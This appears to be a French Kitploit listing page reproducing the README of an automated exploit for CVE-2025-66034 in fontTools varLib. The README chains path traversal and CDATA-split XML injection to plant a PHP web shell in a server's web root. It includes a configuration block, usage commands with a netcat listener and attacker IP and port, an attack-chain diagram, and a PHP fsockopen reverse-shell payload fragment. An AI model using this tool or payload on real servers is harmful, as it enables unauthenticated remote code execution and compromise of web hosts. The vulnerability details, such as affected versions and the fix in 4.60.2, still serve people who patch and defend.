Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
POC-CVE-2025-66034 — Exploit automatisé pour CVE-2025-66034, enchaînant traversée de chemin et injection XML dans fontTools varLib pour obtenir une exécution de code à distance sans authentification via le téléversement d'un fichier .designspace spécialement conçu. | Kitploit
Outils/GitHubGitHub/v3cn4x00/poc-cve-2025-66034
Génération de PayloadsAnalyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebAnalyse de BinairesApprentissage et ÉducationOutil d'Accès à Distance
GitHub
v3cn4x00/poc-cve-2025-66034

POC-CVE-2025-66034

Exploit automatisé pour CVE-2025-66034, enchaînant traversée de chemin et injection XML dans fontTools varLib pour obtenir une exécution de code à distance sans authentification via le téléversement d'un fichier .designspace spécialement conçu.

Voir le dépôt
46il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

font_varlib.py — CVE-2025-66034

fontTools varLib — Écriture arbitraire de fichier + injection XML → exécution de code à distance

CVE Component Class Language Deps License


Table des matières

  • Aperçu
  • Détails de la vulnérabilité
  • Chaîne d'attaque
  • Prérequis
  • Installation
  • Configuration
  • Utilisation
  • Fonctionnement
  • Code vulnérable
  • Liste de vérification avant exploitation
  • Testé sur
  • Avertissement
  • Références

Aperçu

CVE-2025-66034 est une vulnérabilité dans le pipeline de génération de polices variables fontTools.varLib. Lorsqu'une application web expose ce pipeline et accepte des fichiers .designspace fournis par l'utilisateur, deux faiblesses s'enchaînent pour aboutir à une exécution de code à distance non authentifiée.

font_varlib.py automatise toute la chaîne d'exploitation — génération de polices, création de la charge utile, envoi et livraison du reverse shell.


Détails de la vulnérabilité

ChampDétail
Identifiant CVECVE-2025-66034
GHSAGHSA-768j-98cg-p3fv
Paquetfonttools (pip)
Plage affectée>= 4.33.0, < 4.60.2
Corrigé dans4.60.2
SévéritéModérée (CVSS 6.3)
Vecteur d'attaqueLocal (nécessite l'envoi d'un fichier vers la cible)
Privilèges requisAucun
Interaction utilisateurRequise (déclenchement par envoi)

Chaîne de faiblesses

#PrimitiveCWECause racine
1Traversée de cheminCWE-22L'attribut filename dans .designspace est passé directement à os.path.join() sans assainissement — les chemins absolus écartent entièrement le répertoire de sortie prévu
2Injection XMLCWE-91Les sections CDATA <labelname> permettent à une séquence de séparation (]]]]><![CDATA[>) de faire passer du PHP brut au-delà de l'analyseur XML dans le fichier de sortie écrit

Chaîne d'attaque

Attacker crafts malicious .designspace
            │
            ├── <variable-font filename="/var/www/html/files/shell.php">
            │        └── PATH TRAVERSAL
            │            os.path.join(output_dir, absolute_path)
            │            → output_dir discarded → write to web root
            │
            └── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
                     └── XML INJECTION
                         CDATA split embeds raw PHP
                         into the output font binary
            │
            ▼
    fontTools.varLib.main() processes file server-side
            │
            ▼
    shell.php written to web-accessible directory
            │
            ▼
    GET /files/shell.php → PHP executes → reverse shell callback
            │
            ▼
    RCE as www-data

Prérequis

Python : 3.9+

Dépendances :

pip install fonttools requests

Système :

nc (netcat) — required for auto listener mode (--no-listen skips this)

Installation

git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests

Configuration

Avant d'exécuter le script, ouvrez font_varlib.py et mettez à jour le bloc de configuration en haut du fichier pour qu'il corresponde à votre cible. Chaque valeur est accompagnée d'un commentaire en ligne expliquant ce qu'elle représente et comment trouver la valeur correcte.

# ══════════════════════════════════════════════════════════════════════════════
#  DEFAULTS
#  Change these to match your target before running.
#  All values can also be overridden at runtime via CLI flags — see --help.
# ══════════════════════════════════════════════════════════════════════════════

# Base URL of the upload host (the site that accepts the .designspace)
UPLOAD_HOST      = "http://test.com"

# Path on the upload host that processes the multipart form POST
# Confirm with Burp — look for the POST after clicking the generate button
UPLOAD_ENDPOINT  = "/tools/variable-font-generator/process"

# Absolute filesystem path on the server where output files are written
# Must be web-accessible so the shell can be triggered via HTTP
WEBROOT          = "/var/www/test.com/public/files"

# Base URL used to fetch/trigger the written shell file
# Maps to WEBROOT on disk
SHELL_HOST       = "http://testing.test.com/files"

# Multipart form field names — confirm with Burp before running
# If upload silently fails (HTTP 200 but no shell), wrong field names are the cause
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS     = "masters"

# Shell filename prefix — random suffix appended at runtime
SHELL_PREFIX     = "f0nt_"

# Length of random suffix — longer = harder to guess
SHELL_SUFFIX_LEN = 8

Conseil : interceptez une requête d'envoi légitime dans Burp Suite pour confirmer UPLOAD_ENDPOINT et les noms exacts des champs multipart avant d'exécuter le script. Une incompatibilité dans les noms de champs provoque un échec silencieux — le serveur renvoie un HTTP 200 mais aucun shell n'est écrit.


Utilisation

Basique — listener nc automatique

python3 font_varlib.py --ip <ATTACKER_IP> --port <PORT>

Listener manuel — lancez nc vous-même

# Terminal 1 — start your listener
nc -lvnp 4444

# Terminal 2 — run exploit without auto listener
python3 font_varlib.py --ip <ATTACKER_IP> --port 4444 --no-listen

Cible personnalisée — remplacez toutes les valeurs par défaut à l'exécution

python3 font_varlib.py \
  --ip 10.10.14.5 \
  --port 4444 \
  --upload http://target.htb/tools/variable-font-generator/process \
  --webroot /var/www/html/files \
  --shell http://target.htb/files

Référence complète des options

ArgumentRequisDéfautDescription
--ip✓—IP du listener de l'attaquant
--port✓—Port du listener de l'attaquant
--uploadUPLOAD_HOST + UPLOAD_ENDPOINTPoint de terminaison d'envoi (POST)
--webrootWEBROOTChemin d'écriture du système de fichiers côté serveur (doit être accessible via le web)
--shellSHELL_HOSTURL de base utilisée pour déclencher le shell écrit
--no-listenfalseIgnorer le listener nc automatique — déclenchement uniquement

Fonctionnement

Étape 1 — Génération de la police

Deux fichiers source .ttf minimaux mais structurellement valides sont générés par programmation à l'aide de fontTools.FontBuilder. varLib exige au moins deux masters d'axe pour traiter une police variable — ces fichiers satisfont cette exigence sans avoir besoin de vraies polices sur le disque.

Étape 2 — Création de la charge utile

Un fichier XML .designspace malveillant est construit avec les deux primitives d'attaque intégrées :

Primitive 1 — Injection XML par découpage CDATA :

<labelname xml:lang="en">
  <![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>

La séquence ]]]]><![CDATA[> termine le bloc CDATA courant et en ouvre immédiatement un nouveau. L'analyseur XML traite cela comme un balisage valide, mais varLib sérialise le contenu tel quel dans le fichier de sortie — intégrant ainsi du PHP brut dans le binaire de la police.

Primitive 2 — Traversée de chemin via l'attribut filename :

Télécharger l’outil